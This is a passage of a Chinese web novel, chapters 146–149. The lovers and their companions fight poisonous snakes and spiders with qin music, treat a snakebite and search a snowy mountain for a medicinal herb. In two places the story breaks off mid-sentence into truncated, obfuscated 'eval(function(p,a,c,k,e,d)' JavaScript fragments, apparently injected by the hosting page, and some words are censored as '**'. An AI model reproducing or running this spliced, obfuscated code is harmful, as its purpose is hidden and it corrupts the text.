“**袭,你给我等着。”他磨了磨牙。 看着月无双要去找欢凉来救他,月清绝瞥了眼立在不远处抱剑的青玄大声道:“青玄,本公子这就要**,你难道不应该救一下么?”他是个男人,有骨气的男人,而不是袭匀那个软骨头,决不能让喜欢的女人来救,否则,也太没面子了! 青玄闻言走来,“月公子对不住,青玄的职责是保护皇上,没有注意到月公子。” “罢了罢了,赶紧救我出去。” 月清绝千辛万苦的上了岸,瞥见了正打算为江向晚疗伤的北宫喆,连身上的淤泥都来不及清理,立即奔过去道:“你要是想死就尽管给她输真气吧!” 安文夕刚刚将七节鞭清理干净,听到了月清绝的声音猛然抬眸,看着盘坐在江向晚身后的北宫喆,将七节鞭收在腰间,还是走了过去。 看着脸色惨白、气若游丝般的江向晚,安文夕抿了抿嘴角道:“北宫喆,你决定了?” 北宫喆看着安文夕缓缓点头,然后道:“朕不会有事的。” “你**才好!”安文夕咬牙,他眼中的坚定刺痛了她的双目,她努力压下心中的烦闷。 江向晚为救他而受伤,他给她输真气没什么不对,这样一幅郎情妾意的场面,和她半点关系都没有! 她此行是只是为了寻药罢了,她和北宫喆之间隔着杀父之仇,是永远也不可能在一起的,她深呼吸一口,将心中的烦躁全部驱除。 不再去看北宫喆和江向晚,直接转过身去,运气将身上沾满淤泥的湿衣烘干。 江向晚闻言睁开了半眯着的双眼,眸光扫了眼不远处的安文夕,握住北宫喆的手道:“喆,我是不是要**。” 她的眼中透着悲切,握着北宫喆的手尽是不舍。 刚才她已经陷入了昏迷,惊魂一直为她输内力,她这才勉强睁开眼睛,此时,惊魂内力消耗过度,脸色苍白,正在一旁调理内息。 “你救了朕,朕不会让你死。”北宫喆不着痕迹的松开了江向晚的手,他给不了她想要的,他不想再欠她什么。眼角的余光看向一旁的那抹红衣,眸光微黯。 “当时,凭喆哥哥的身手完全可以应付的了,是她跟着捣乱,如今还得连累喆哥哥去……” “无双!”月清绝立即打断了月无双的话。 月无双哼了一声,有些不情愿的扭过身去,江向晚这个坏女人分明就是故意去救喆哥哥,想要用苦肉计来绑住喆哥哥! 月清绝从袖中翻出一粒药丸递给江向晚道,然后对北宫喆道:“你别逞能了,让青玄给她疗伤吧。” “皇上,让属下来吧。”青玄抱拳请求道。 “不必,朕不做没把握的事,你为朕**。”北宫喆早就将体内的毒气转移到了左臂上,暂时将毒气封住。 北宫喆抬手缓缓为江向晚输入真气,不过一刻钟,北宫喆突然发现身体的内力飞速流逝,仿佛被一股强大的力量不断地吸走。 他蓦收了掌,江向晚登时喷出了一口鲜血,身子不受控制的朝身后倒去,再次晕了过去。 “怎么了?”月清绝立即问道。 北宫喆若有所思的看着倒在他怀中的江向晚一眼,将她从地上搀起。 “你给她把把脉。” 月清绝探上江向晚的脉搏,眉头深蹙,“她体内好像有两股力量相冲,脉象乱得惊人,体内器官受了重创。”月清绝指尖颤了颤,他竟然感觉不到引魂丹的存在,难道是引魂丹的精华已经被她消耗殆尽? “刚才那药能吊住她的命,当务之急就是要找到雪上冰莲。” 北宫喆闻言,将江向晚背了起来,沉声道:“走吧。” 安文夕身上的衣服已经被她烘干,随着她的起身,衣服上的泥尘落了一地,她身上的红衣猎猎,如一抹盛开在丛林中的彼岸花,夺目、妖艳。 安文夕淡淡扫了眼身后的欢凉和袭匀道:“我们也出发吧。” 月无双瞥了眼北宫喆背上的江向晚,立即跑到了安文夕身边道:“夕姐姐,带我一个吧。” 安文夕略略点头,“你小心些,不要轻举妄动。” “无双肯定会老实的跟着夕姐姐,绝不会惹事。” 一行人再次出发,安文夕走在前面,她现在只想快点找到入山的地方,早点离开这个鬼地方。 欢凉有意无意的看向北宫喆,再将视线放在安文夕急切地步子上,心中涌出一阵心疼。就算她伪装的再好,也骗不了她 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北宫喆触碰到了她手心中的细汗,不由得握紧了她的手,他就知道她在害怕,偏偏还倔着性子在前面带路。 安文夕不得不承认,被他握着的手十分温暖,有他在身边,分外安心,她也没有矫情的挣脱他的手,任由他牵着。 “扑扑——” 一群黑压压的东西迎着安文夕的面门横冲直闯而来,空气中顿时弥漫了一股腐朽的气息,她还没有来得及躲避,一条有力的臂膀直接搂着她的腰肢飞速避过,速度快如一道闪电。 “哥,我怕。”月无双堪堪避过,眼眶有些发红,死死地拽住月清绝的衣袖。 “没事没事,有哥在呢,不怕不怕。”月清绝忙安慰道。 好在接下来一段路程都没有了蝙蝠的骚扰,月无双的胆子逐渐大了起来,开始和欢凉有说有笑。 越接近幽冥山脉,密林中的奇珍异草越多,月清绝虽然想要将它们带回去研究,但是他更珍惜自己的性命,所以一路走来,路过许多药草而不能采摘,不免几多叹息。 而月无双就没有这么多的顾虑了,她虽然不敢再风风火火咋咋呼呼,但是一看到在枫月谷古书里记载的草药时,不免两眼发亮。 “哥,这是枯骨草!”她走了一路,竟然在这里发现了千年难见的枯骨草,要知道,仅是一叶枯骨草就是万金也难寻,而这里竟然有这么大一株,她怎么不兴奋? 月无双伸手就将枯骨草连根拔起。 “不要!”月清绝立即阻止道。 可惜,已经晚了,月无双轻松地将一大株连根拔起,谁知,那株枯骨草刚离了土顿时枯萎,化作一滩烂泥。 月无双不可置信的盯着手上的枯叶烂泥,而四周,原本繁茂青翠的花草以肉眼可见的速度枯萎,须臾之间,整个山林百里之内,花草全部枯荣。 “这……”月无双急急后退两步,忙将手上的枯叶扔掉。 “糟了!”月清绝暗呼一声。 第146章 不需要你 第一百四十六章不需要你 “唔~这是什么味道,好臭……”月无双不禁捂住了鼻子。 枯骨草,有驻颜之效,可保女子容颜长久不衰,亦可保持死者尸身经年不腐,故而珍贵非常。 但是这枯骨草习性古怪,离土即死,一般不易采得。枯骨草一旦离土枯萎便会发出一阵**的气味。 月清绝恨铁不成钢的看着月无双,真是个惹事精啊! 月无双小心的瞥了眼月清绝道:“哥,无双只是太兴奋了,不是故意的,古书上又没有记载这枯骨草不能用手拔下来。” 月清绝无奈的摇了摇头,枫月谷的古书里的确没有记载枯骨草的采摘方法,他不过是幼时听他爹提到过枯骨草不能离土罢了。 北宫喆嗅着空气中的腐朽的气息,看着周围枯死的花草,眸光深邃。 半晌,他从喉咙里发出一个音节,“走!” 安文夕抬眸看他脸色凝重,不禁问道:“这味道难道会招来异物?” 她的话音刚落,周围的枯叶之中便发出了沙沙的声音,这里几乎都是练武之人,听力比常人敏感,此时都不自觉的四下看去。 可是,除了耳边的沙沙声,他们看不到任何东西,众人不禁止住了脚步,警惕的打量着四周。 “啊!”欢凉惨叫一声,身子急忙朝后面褪去。 只见一条极细的银纹蛇飞快的窜到了欢凉的小腿之上,饶是欢凉怎么甩都甩不掉,那蛇仿佛要钻到欢凉的皮肉里边一般,蛇身缠住她的小腿,转瞬之间,蛇头已经钻进去了一寸。 袭匀眼疾手快,立即将攀附在欢凉腿上的银纹细蛇拽了下来,手中滑腻腻的感觉令他头皮发麻,浑身起了鸡皮疙瘩,他立即将手中的蛇扔了出去。 这时,众人才发现,那蛇分明就是两头蛇! 此时,那条银纹细蛇的两个蛇头同时吐着鲜红的信子,再次朝人群中爬来。 “这蛇有毒!”月清绝看着欢凉腿上流出的黑色眸光一黯,迅速的捉住了欢凉的小腿,一把褪去她的鞋袜,将她的小腿抬起。 “你干什么?”欢凉脸色丨微红,一阵惊呼道。 “你**了,必须立即将毒血吸出来。”月清绝说完就贴上了欢凉的伤口。 众人还没有回过神来,周遭的沙沙声响更甚,一条条银纹细蛇贴着地面以讯雷不及掩耳的速度朝众人逼近。 看着不远处的蛇群,安文夕下意识的握紧了北宫喆的手,北宫喆将安文夕揽至身后,握紧了手中的长剑。 放眼望去,在这些蛇纹细蛇的后面又跟来了许多色彩艳丽的毒蜘蛛,都是些阴毒之物,偏爱尸臭**的味道,喜食尸体,这些东西必是被这里腐朽的味道引来的! 银纹细蛇越来越近,安文夕还没有来得及抽出腰间的七节鞭,身侧的男人手中的长剑掠过,她脚下的两头银纹蛇便断成了两半,两截被斩断的蛇身在地上痛苦的翻腾着,谁知过了一瞬,原本被斩断的蛇身各自吐着信子,再次朝她发动了攻击。 一条竟然变成了两条! 惊魂和青玄也发现了这个情况,顿时收紧了手中的长剑,不敢再贸然出手。 密密麻麻的两头银纹蛇如潮水一般肆意前进,北宫喆眉头微蹙,抬手将涌进脚边的蛇群一掌掀翻,然后将身侧的女子紧紧护在身后,在她耳边轻道:“怕么?” 怕么? 安文夕勾唇,“怕,有用么?”她上前一步,抽出了七节鞭,鞭尾横扫,卷起地上的蛇群,一股脑的甩了出去。 北宫喆的视线停留在她的脸上,她杏眸微眯,轻咬着下唇,即便是害怕,她也是一副沉稳如水的姿态,那股坚韧,仿佛是从骨子里透出来一般,一如初见之时,她困在七杀阵里,明明是那样的狼狈,而她澄澈的杏眸里却透着从容不迫与坦然,令他一见失心,从此再也移不开眼睛。 安文夕察觉到了他的目光,回头道:“你不要再动用内力了。” 北宫喆再次出掌,“朕还没有那么没用。” “想死我也不拦你。”安文夕恨恨道,虽然嘴上这么说,但是她却挡在北宫喆前面,帮他清理脚下的银纹细蛇。 真是个口是心非的女人,北宫喆嘴角噙起了笑意。 月无双自知闯了大祸,虽然心里怕得要死,但是却死死的咬着下唇,脸上丝毫不敢表露出来,她颤着双手,从腰间的竹笼里取出大黄来。 大黄是一条将近三尺的黄色蝮蛇,毒性极强,是月无双最喜欢的宠物之一,更是寸步不离的带在身上。 “无双,你做什么?”月清绝刚刚给欢凉清除了蛇毒,此时正给她包扎伤口。 “哥,这祸是我闯的,理应由我负责。”月无双眼中一片坚定,将手中的大黄缓缓放下。 大黄的毒性月清绝也是了解的,他没有阻止月无双,心中隐隐希望,大黄可以将解决掉一部分银纹细蛇。 大黄刚刚落地,看见周围的银纹蛇群,立即变得兴奋起来,幽幽的吐着信子,迅速的朝蛇群逼近。 说时迟那时快,原本吐着信子的大黄猛地发动了攻击,所经之处,蛇群皆被咬死。 月无双脸上浮现喜色,拉着月清绝道:“哥,我的大黄是最棒的。” “可是,仅凭大黄也不能全部杀死这些银纹细蛇。”月清绝蹙眉。 而这些银纹细蛇根本不能斩断,只能击碎蛇头,将其杀死。 好景不长,银纹细蛇后面的毒蜘蛛渐渐逼近,大黄根本就咬不动坚硬的蜘蛛胸甲,反而被长着倒钩的蜘蛛利爪刺穿了蛇身,须臾之间,大黄身上便挂满了殷红的鲜血。 “不好……”月无双的心顿时一沉。 不消片刻的功夫,大黄中了蜘蛛分泌的毒液之后便不再动弹,迅速被一群毒蜘蛛分食。 “大黄……” 月清绝立即一把抓住了往前奔去的月无双,将她拽到身后,“你不知道有多危险么?” 这种色彩斑斓的毒蜘蛛他见所未见,一旦**,他们就只能坐以待毙。 “可是,我的大黄……”月无双眼底湿润,不过眨眼之间,大黄已经被啃食干净。 “无双,保命要紧。”安文夕侧头对她沉声道。 她的脚边,银纹细 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“抓紧。” 他巨大的力道使得安文夕一个趔趄,她立即抓住了树枝,背上背着的七弦琴撞到了树杈上,硌得她的后背一阵生疼。 安文夕顿时眼睛一亮,当时在枫月谷她就利用琴声驱赶了月无双的小乖,那现在是不是也可以呢? 看着下面越来越多的毒蜘蛛如洪水一般漫了上来,安文夕咬了咬牙,深吸了一口气,将七弦琴从后背上取下,如今也只能试一试了!否则,他们只能在这里等死。 有些毒蜘蛛和银纹细蛇竟然顺着树干慢慢爬了上来,安文夕心中一紧,抬手射出了几枚银针,将它们打落。 素手划过琴弦,发出一阵峥嵘之音。 下面的人闻声一震,皆举眸看去,安文夕指尖一颤,再次拨起琴弦,琴声时而晦涩难听,时而温婉细腻。琴音从缓到急,再由急到缓,完全没有半点规律可循。 “夕姐姐这是在做什么呢?” “驱毒!”袭匀吐出了两个字,他相信他的小师妹一定不会让他失望的,就像那次在枫月谷那样用琴声救了他! 就在这时,不可思议的一幕发生了,刚才兴奋不已的银纹细蛇和毒蜘蛛慢慢平静下来,就连攻击的速度都慢了下来。 安文夕看出了下面毒物的变化,更加专心起来,琴声逐渐变得高亢,下面的人听着这古怪的琴音心底一阵阵发慌。 北宫喆带着江向晚掠上树枝,众人也渐渐反应过来,都一一攀到大树之上。 不少毒物嗅着众人的气息,慢慢往树干上爬去,众人一一将其击落,丝毫不敢大意。 半个时辰之后,下面的银纹细蛇和毒蜘蛛竟然开始自相残杀,一股带着腐朽的血腥扑鼻而来。 安文夕双手酸麻不堪,紧闭着双目,额头上沁出了一层细汗。 柔软的方帕轻轻为她拭去了额上的汗珠,她蓦地睁开了眼睛,看到了那张俊逸的面孔,手中的动作一顿。 第147章 抱着你睡 第一百四十七章抱着你睡 只这一会的功夫,下面互相残杀的毒蜘蛛和银纹细蛇已经停止了攻击,安文夕心中一滞,再次拨起了琴弦,结果手下的曲子还未成调,她的双手就被人握住。 “我来,你休息一下。” “你可以么?”安文夕一愣,这曲子压根就杂乱无章,他怎么会? 北宫喆抿着薄唇,没有说话,直接将七弦琴从她腿上取了过来,纤长的十指,骨节分明,若是忽略那常年练武持剑的薄茧,这双手比女人的手还要细腻好看。 “待在朕身后。” 北宫喆微微闭上了眼睛,仿佛是让自己融进琴声一般。 待他刚开始弹拨琴弦,安文夕就彻底震惊了,他指尖流泻的琴音与她刚才弹得那杂乱无章的曲子分毫不差,他只听了一遍而已,竟然连每一个音都记了下来。他的琴音透着内力,更加激昂摄魂,令人从心底发颤。 四周的血腥一重漫过一重,大树底下早就堆尸成山,浓郁的血腥中加剧了腐朽的味道,令人忍不住一阵作呕。 北宫喆指尖的琴音越来越亢奋,越来越急切,带着强烈的冲击向四周扩散,安文夕紧紧的抱住了身侧的树干。 “铮——”一声的急音划过,七根琴弦应声而断,下面正在厮杀的银纹细蛇和毒蜘蛛齐齐血浆崩溅,残肢断体翻飞一片。 这的是多大的震慑力,才能震碎那些毒物?如今他的内力应经达到了高深难测的地步了么,那她以前对他的刺杀岂不是不自量力,而他总是不躲不避,生生的挨了她那么多次的刺伤,安文夕想到这里,心中一涩。 北宫喆没有注意到她的情绪变化,缓缓睁开了眼睛,看了眼下面的残骸,眸光一敛,揽起安文夕的柳腰,沉声道:“赶紧走!” 安文夕立即明白了他的意思,若是不赶紧撤离这里的话,只怕下面的血腥会引来更多的阴毒之物,到时候他们再想离开,就难了! 北宫喆带着安文夕在空中飞跃,安文夕慢慢从他怀中挣脱,反手握住他的手道:“我也可以。”虽然她的轻功不怎么样,但到底比他带着她强多了。 北宫喆也没有拒绝,握紧了她的手,足尖轻点,借力一跃而起。 月白的衣袍带着山风而飘,周身仿佛镀上了一层柔和的光晕,仙姿袂袂,而他身侧的女子,红衣翩跹,如蝶翅轻展,美的让人移不开眼睛。 江向晚恨恨的看着前面的北宫喆和安文夕,不甘心的趴在惊魂肩头,为什么总是将她丢给惊魂,她可即将是他的妻啊! 临近日暮,山林中天色已经暗了下来,可是仍然望不到山林尽头,按着他们的脚程,若是中间没有那么多的意外,也得需要六个时辰。如今,他们已经足足走了一天,却依然没有走出密林。 将近一天没有进食,众人一路奔波,此时都有些疲倦。但是北宫喆没有停下来,众人只能跟在后面赶路。 欢凉此时额头上沁出了一层密汗,脸色煞白,唇瓣泛着黑紫,显然是蛇毒扩散。 袭匀首先发觉了她的异常,急切道:“臭丫头,欢凉,欢凉?” 回答他的除了寂静还是寂静,他身前的月清绝蓦然回头,看着刚才众人都警惕的观察着四周未知的危险,根本没有注意到欢凉的异常。 “糟了,刚才那蛇毒没有清除干净。”月清绝眉头紧蹙,立即将欢凉从袭匀背上扶了下来。 安文夕闻言立即转过身来,看着欢凉苍白的脸色,心蓦地一沉,“欢凉!” 月清绝立即为她把了脉,然后取下药箱,从里面拿出一排银针。 “需要多少时间?”北宫喆沉声道。 “至多半个时辰。”月清绝明白他的意思,今晚他们要连夜赶出走出这百里鬼林,不然,他们待在这里凶多吉少。 北宫喆微微点头,示意他继续。 月清绝下针又快又准,不出片刻,欢凉周身大丨穴已经布满了明晃晃的银针。 安文夕紧紧攥着欢凉的手,用手丝帕不停地给她擦着额头上的细汗,静静地看着月清绝施针。 一旁的袭匀可等不了,脸上尽是担忧,“月清绝,欢凉她怎样了……” 安文夕一拉拉住了袭匀,做了个闭口的手势,他的急切只会影响月清绝施针。 一会功夫,银针下面一端已经全部变黑,月清绝的眉头顿时拧成了一团,没想到这毒竟然扩散的这么快,若是晚发现一会,他也回天乏力了! 他一一收了针,欢凉蓦地突出一大口黑血来,月清绝擦了擦额头上的汗,嘴角微勾,吐出来就好! “欢凉,你现在感觉怎么样?”安文夕看着欢凉睁开了眼睛,惊喜道。 “公主,我现在好多了。”她嘴唇上的紫黑已经淡淡消去。 “终于没事了,我都担心**。”袭匀松了口气。 北宫喆看着安文夕嘴角的笑意,他也不自觉勾起薄唇,“既然没事了,来吃点东西吧。” 安文夕这才闻道一股烤肉的香味,早在刚才,青玄已经打了几只野鸡野兔,架在火上烤了。 众人匆匆吃完烤肉,再次出发,虽然是晚上,夜路难行,但是好在再没有发生什么意外。 子夜时分,他们总算是走出了密林,山麓处的树林稀疏,没有丛林的遮天蔽日,众人猛然感觉一阵豁然开朗。透过斑驳的树影,皎洁的月光倾泻而下,不禁多了几份静谧之感。 青玄升起了火,他们今晚要在此将就一晚,明日一早再入山。 安文夕此时已经疲惫不堪,北宫喆看着她眉眼之间的倦意,心中涌出一阵心疼。 “过来。” 安文夕微微一愣,确定他是在叫她后,慢吞吞的朝他走去,背后那道强烈的视线让她无法忽略。 江向晚身体虚弱不堪,他此时不是应该去照顾她么,为何又来招惹她? 北宫喆看着她脸上的不情愿,目光一沉,一把将她带到怀中,紧紧的扣住了她的腰肢,这姿势要多暧昧有多暧昧。 安文夕脸上一热,眼角的余光打量了眼众人,对北宫喆道:“你,你先放开。” “朕抱着你睡。” 这句话彻底烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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北宫喆闻言停了下来,对安文夕道:“累了么?” 安文夕摇了摇头,“还好。” 北宫喆将水带给安文夕道:“喝些水,歇会再赶路吧。” 月清绝一屁股坐了下来,丝毫不顾及什么形象,他已经累到虚脱,嘴唇干得厉害。 “北宫喆,你这小子,就知道照顾你媳妇儿,本公子都渴**也没见你给我喝口水。” 安文夕看着他狼狈的样子,扑哧笑了出来。 “月公子,属下的水给你。”青玄将水袋递了过来。 月清绝接了过来,便开始狂饮,估计还没有登上山,他就先翘辫子了。 北宫喆淡淡扫了他一眼,转眸望去,这幽冥山山势极高,就算他们不眠不休也得花费一天一夜的时间。 突然,不远处的陡坡上滑落的山石吸引了北宫喆的注意力,他看着脚下散落的石块黑瞳蓦地骤缩,安文夕紧随着他的脚步而来,利眸扫了眼那处被人踩过的痕迹,开口道:“有人来过,这是新痕迹,最多不超过十日。” 北宫喆点了点头,他就知道那个人不会轻易善罢甘休,没想到他竟然把目标放到了这里,想让他有来无回,只怕,他还没有这么大的本事。 安文夕看着北宫喆嘴角淡淡的不屑,心中已经猜到了七八分。不过,既然她来了,就不会空手而回。 “你可休息好了?”北宫喆清润的嗓音传来。 第148章 绝对威胁 第一百四十八章绝对威胁 “没有!”月清绝死活赖在地上不肯起身,他已经连着赶路了三个时辰,这一刻钟的时间怎么能休息好? “反正没有本公子,你们也找不到七味草!” “七味草,花开七瓣,生在霜上为黄花,生在雪上则为白花,花极美却不入药,其根有七节,每一节药性皆不相同。你说我说的可有错?”北宫喆幽幽道。 他竟然都知道!估计连无双都不知道那七味草长什么样子。 月清绝不可置信的睁大了眼睛,惊得从地上站了起来,指着北宫喆半天说不出一句话来。 “没有你,朕一样可以找得到,但是,这山路崎岖,猛兽居多,若是没有朕……” 威胁,绝对的威胁! 月清绝眯着凤眼,气愤的看着北宫喆。 “出发!”北宫喆不带温度的声音在他耳边响起,月清绝气的咬牙,气呼呼的跟上了他的步伐。北宫喆,算你小子狠!等拿到七味草,给你媳妇儿解毒的时候,有你求本公子的! 安文夕看着月清绝隐忍怒气的脸,心中有些好笑,她喜欢月清绝和月无双的性子,和他们相处起来,让人觉得轻松。 看着前方的一处险峰,安文夕微微一滞,这么高,她的轻功无疑不行!她微微迷了眼睛,在脑海中飞快的计算着这处陡峭山峰的可攀程度。 “过来。”北宫喆脸上的线条冰冷,但语气却透着丝暖意。 北宫喆直接霸道的揽过安文夕的纤腰,展臂跃了上去,身姿潇洒又俊逸,留下一脸戚色的月清绝,他抬头看着前方那处险峰,不禁蹙了眉头,他这半吊子的轻功,还真没有把握呀。 青玄怎会不知月清绝所想,这月公子虽然医术一绝,但是这武功内力可是真的不怎么样。 “月公子,不如青玄带你一程。” 虽然青玄态度毕恭毕敬,但是他月清绝怎么能让他带他上去呢,这有关于男人的尊严啊! “给本公子拿着药箱。”月清绝取下背上的药箱,直接甩给了青玄,自己纵身跃了上去。 在半山腰之时,月清绝脸上显出吃力来,这不上不下的,偏偏连个歪丨脖子树也没有,这可如何是好? 突然,他的腰间一紧,蓦然回头,原来是青玄,他的心中顿时一喜,此时他也管不了什么男人的尊严了,一把抱住了青玄的脖子,犹如抱住了救命稻草一般。 北宫喆揽着安文夕直接上了险峰,不得不说,这的确比她用爬的快多了,她不经意回头看了眼青玄和月清绝,这一看可吓了一跳。 只见青玄揽着月清绝的“纤腰”,而月清绝则亲密的搂着青玄的脖子,这可比她和北宫喆还要暧昧! 月清绝双脚落地,顿时察觉到了不妥,忙一把推开青玄,刚才那个姿势,真的说不清啊,看着北宫喆微眯的双眼和安文夕怀疑的眼神,月清绝佯装淡定道:“怎么了,不是要赶路么?”他知道越解释越黑,于是直接岔开话题。 “噗——”安文夕看着月清绝故作淡定的样子,毫不客气的笑了出来。 许久,未见她笑了,北宫喆也难得的在嘴角攒出了一抹极淡的笑意。 月清绝瞪了安文夕一眼,率先迈出了步子,因着这一事,整整一下午月清绝和青玄保持着距离,也没有再喊累,一直走走在了前面。几人行了不久,安文夕的速度便渐渐慢了下来,在体力上,她一个女子,终究不如男子。 安文夕不想因为自己而拖累了他们的速度,一直咬牙跟在北宫喆身后,毕竟这是为她寻药,她更不能拖了后腿。 北宫喆很快就察觉到了她的疲倦,缓缓俯下了身子,没有回头开口道:“上来吧。” 安文夕瞬间明白他要背她,看着他宽阔的后背,微微一愣,不禁抿了嘴角。 这还是他第一次背她! “还愣着做什么?”北宫喆这才扭过头来,眉眼依旧寡淡冷清。 安文夕立即走到他身侧,也没有客气,一下跃上了他的后背,将全身的力量都压在了他的身上,这是他非要背她的! 他的背甚至比看起来还有宽广,靠在他背上,没由来得一阵安心,将头埋在他的脖项里,嗅着他身上淡淡的冷香,安文夕脸上蓦地一烫,随即心头涌出一抹复杂,她越来越控制不了自己的内心了,这张温暖宽阔的后背,令她不舍。 “啧啧啧,真是恩爱呀。”月清绝看着北宫喆背安文夕停住脚步,撇了撇嘴道。 “你若是想,青玄也乐意背你。”北宫喆声音不大,却别具震慑力。 月清绝闻言,有些尴尬的瞥了眼青玄,一甩衣袖,将北宫喆抛在了身后。 这一下午过得很快,西斜的一轮红日渐渐沉入山头,越往上越冷,尤其到了晚上,山风更是凛冽。 虽然北宫喆将带来的狐皮披风将她包的严严实实,她还是感觉到了凉意,将身子蜷缩在了北宫喆背上。 “冷?”北宫喆握了握安文夕的手,冰凉刺骨,眉头不悦的挽起,“冷不知道说么?” “还好。” 这叫还好?北宫喆握着她的小手,犹如握着冰块一般。 “青玄。” “属下在。” “查看一下附近可有容身之所。” 北宫喆将安文夕从背上放了下来,将她紧紧拥在怀中,给她暖着双手,他本打算让她待在山麓之下,可她性子倔起来,根本不同意。 他温暖的大手包裹着她几乎要失去知觉的小手,这股暖流顺着她的血液暖遍了她的全身,她不禁下意识紧握。 “我说,你媳妇累了、冷了,你心疼了,本公子累了、渴了,怎么没见你要停下休息呢?”月清绝不满,这小子真是有了媳妇,忘了兄弟。 北宫喆斜斜的看了他一眼,眼底沁出了几分讥讽,分明是一副朕就是疼媳妇,你能怎样? 月清绝再次磨牙,北宫喆,算你小子狠! 不过片刻,青玄翩然现身,抱拳道:“皇上,附近有一处山洞,不大,勉强可以容身。” 北宫喆点点头,转头看向安文夕道:“走吧。” 青玄所说的那个山洞离此处不远,不过是一刻钟的时间,他们便已经到达。这山洞的确不大,勉强可以容下四人。与其说是山洞,倒不如说是山体凹进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她问过月清绝,她中了息子魂殇,只有长在三月雪和八月霜上面的七味草才最有效,难道是这个原因? 她一直都知道他是喜欢她的,不然,就凭他的性子,不会如此的纵容她一次次刺杀他!可是喜欢又能如何?他还有江向晚,他还有大夏的江山。更何况,她并不值得他以身犯险啊。 看着她脸上浮现的忧虑,北宫喆蓦然开口:“对朕没信心?” “不是。”只是有些担心罢了,这句话到了嘴边,又被她咽了回去。 “那是什么?”北宫喆紧追不舍。 “没什么。”安文夕不和和他纠结这个问题,转眸看向月清绝道,“月公子,不知你这药箱里可有银针?” “有是有,你又不懂医,要银针做什么?” “暗器,月公子最好再帮我淬上**,要发作快、又令人痛不欲生的**。” “使暗器,可非君子所为。” “月公子也说了,非君子所为,可是我不是君子,我是女子。”安文夕的嘴角飞快的划过一抹狡黠的笑意。 “依她所言。”北宫喆淡道,她有暗器防身,也好。 月清绝打开药箱,借着火光,小心翼翼的在银针上淬了毒,交给了安文夕一包,然后自己偷偷留了一包。 虽然使暗器非君子所为,可是他为了保命,就是做回小人又如何?他若是小命玩完,就算是君子又有何用? 第149章 羡慕得紧 第一百四十九章羡慕得紧 安文夕只当没有看见月清绝的小动作,微微扯了扯嘴角,有时,这月清绝比无双的性子还要可爱呀。 感觉腰间的手又紧了几分,安文夕倒也没有反抗,任由北宫喆抱着,将头一歪,靠在他的胸膛上睡去,丝毫没有发现身侧人的不妥。 第二日,又赶了整整一上午路,终于抵达了幽冥山顶,幽冥山连绵不绝,山顶极为宽广,常年不化的冰雪装点了整个峰顶,目之所及是铺天盖地的冰雪,晶莹剔透,一切都粉妆玉裹。如果忽略这冰冷噬骨的寒冷的话,这里的确很美。 干冷的寒风刮到脸上如同刀割,尽管来的时候有准备,可她依旧没有想到这山顶之上竟然如此之冷,铺天盖地的寒意朝她灌来,她不禁打了个冷颤。 北宫喆不动声色的用他身上的披风将她裹了起来,安文夕一滞,他身上只着了一件初春的袍子,就仅仅有这件披风可以保暖,他给了她,不冷么? “别给朕冻病了。” “那你呢?”安文夕咬牙,还是问出了在嘴边盘旋已久的话。 “朕不冷。” “行了行了,也不看这是什么时候,等咱们回去,你俩爱咋亲热咋亲热。”本公子眼不见为净。 “月公子该不会是羡慕了吧。”一直如同隐形人的青玄蓦然开口。 “没有。” “明明是羡慕。” “不是!”月清绝恶狠狠的瞪乐青玄一眼,他是不是存心想让北宫喆两口子看他笑话? “月公子痴心医学,想必对男女之事不感兴趣,欢凉和袭匀……”安文夕心情颇为轻松,想来逗一逗月清绝。 “本公子羡慕,羡慕得紧。” “噗——”看着月清绝殷切的眼神,安文夕笑了起来。 北宫喆略略鄙夷的扫了月清绝一眼,月清绝狗腿的贴近安文夕道:“瑾淑妃,欢凉那小丫头最听你的了,不如你将她许给本公子?” “这个,回去再说,现在赶紧找药。”安文夕眼底闪过一抹狡黠,从月清绝身边经过。 “瑾淑妃,你放心,你的事情就是我的事情,本公子一定竭尽全力寻找七味草。” 这七味草,生长在雪上则为白花,这漫漫冰雪,一片纯白,想找到这七味草可不容易! “你就老实的跟在朕身后。” “跟在你身后,那岂不是沿着你找过的地方再找一遍?”安文夕直接和北宫喆分到扬鞭。 “不得离开朕的视线范围。” 安文夕在北宫喆不远处开始搜寻,入目尽是冰雪,别说是药草,白茫茫的雪地上半点杂质都没有,她又在另一处找了一遍,仍然没有收获。 “那七味草有一种独有的药香,至于什么香味本公子也不清楚,你们自己注意点。”月清绝猛然想起古书里的记载,忙提醒道。 药香?安文夕弯着腰,进行地毯式的搜寻。 整整一个下午,几个人都一无所获,月清绝颓唐的坐在了地上,看着渺无边际的雪峰,无力的躺了下来,“这么大的山顶,得找到何年何月?” 安文夕早已冻得全身失去了知觉,看着前方衣衫单薄的北宫喆,她心中一涩。 寒风肆意,席卷而来,她忙拥紧了身上的披风,突然,前方冰雪上面的微动吸引了她的注意力。 她立即跑了过去,只见一株雪白色的小花在雪地上探出了脑袋,花开七瓣,瓣瓣肥厚,漂亮极了,不过半个手掌的大小,而且和雪地融为一体,若是不仔细看,根本不能发现它的存在。 “你们快来,我找到了!”安文夕眸中尽是难以掩饰的兴奋,这几日的奔波,总算没有白费。 她的眼中闪烁着亮晶晶的光芒,一脸轻快中略带着几分俏皮,激动地对他们招手。 “你找到了?”月清绝立即跟了上去。 “月公子,你看这个是不是?” 月清绝顺着安文夕的视线俯身下去,待看到那朵白色的小花,嘴角的笑意一僵,伸手将它拔起。 “怎么,不是么?” “你闻闻。”月清绝将小白花递到安文夕鼻翼,这花虽然七瓣,也极美,但是根本没有任何香味,很明显,这并不是七味草。 安文夕轻轻垂下了眼睑,这里真的会有七味草么? “也别太失望,这虽不是七味草,但它是雪上冰莲,也是极为珍贵的。” 珍稀,却不难寻,这雪上冰莲算是这幽冥山顶生长的最多的一种药草了。 雪上冰莲?安文夕伸手接过月清绝递来的雪上冰莲,端详了片刻,这也看不出哪里像莲花,为什么叫雪上冰莲? “没事没事,反正也是要给江向晚寻药的,这不是刚好么。”月清绝笑了笑。 安文夕闻言将手中的雪上冰莲扔给北宫喆,然后继续去寻找。 “呵呵,吃醋了。” 北宫喆扫了眼手心中的雪上冰莲,然后直接丢给了月清绝,追上了安文夕的脚步。 他从后面拉住安文夕的手道:“别找了,明日再说,天黑了这里只会更冷。” “好。”安文夕点点头,“这一带我们都已经找过了,明日我们直接从那边登顶即可。” 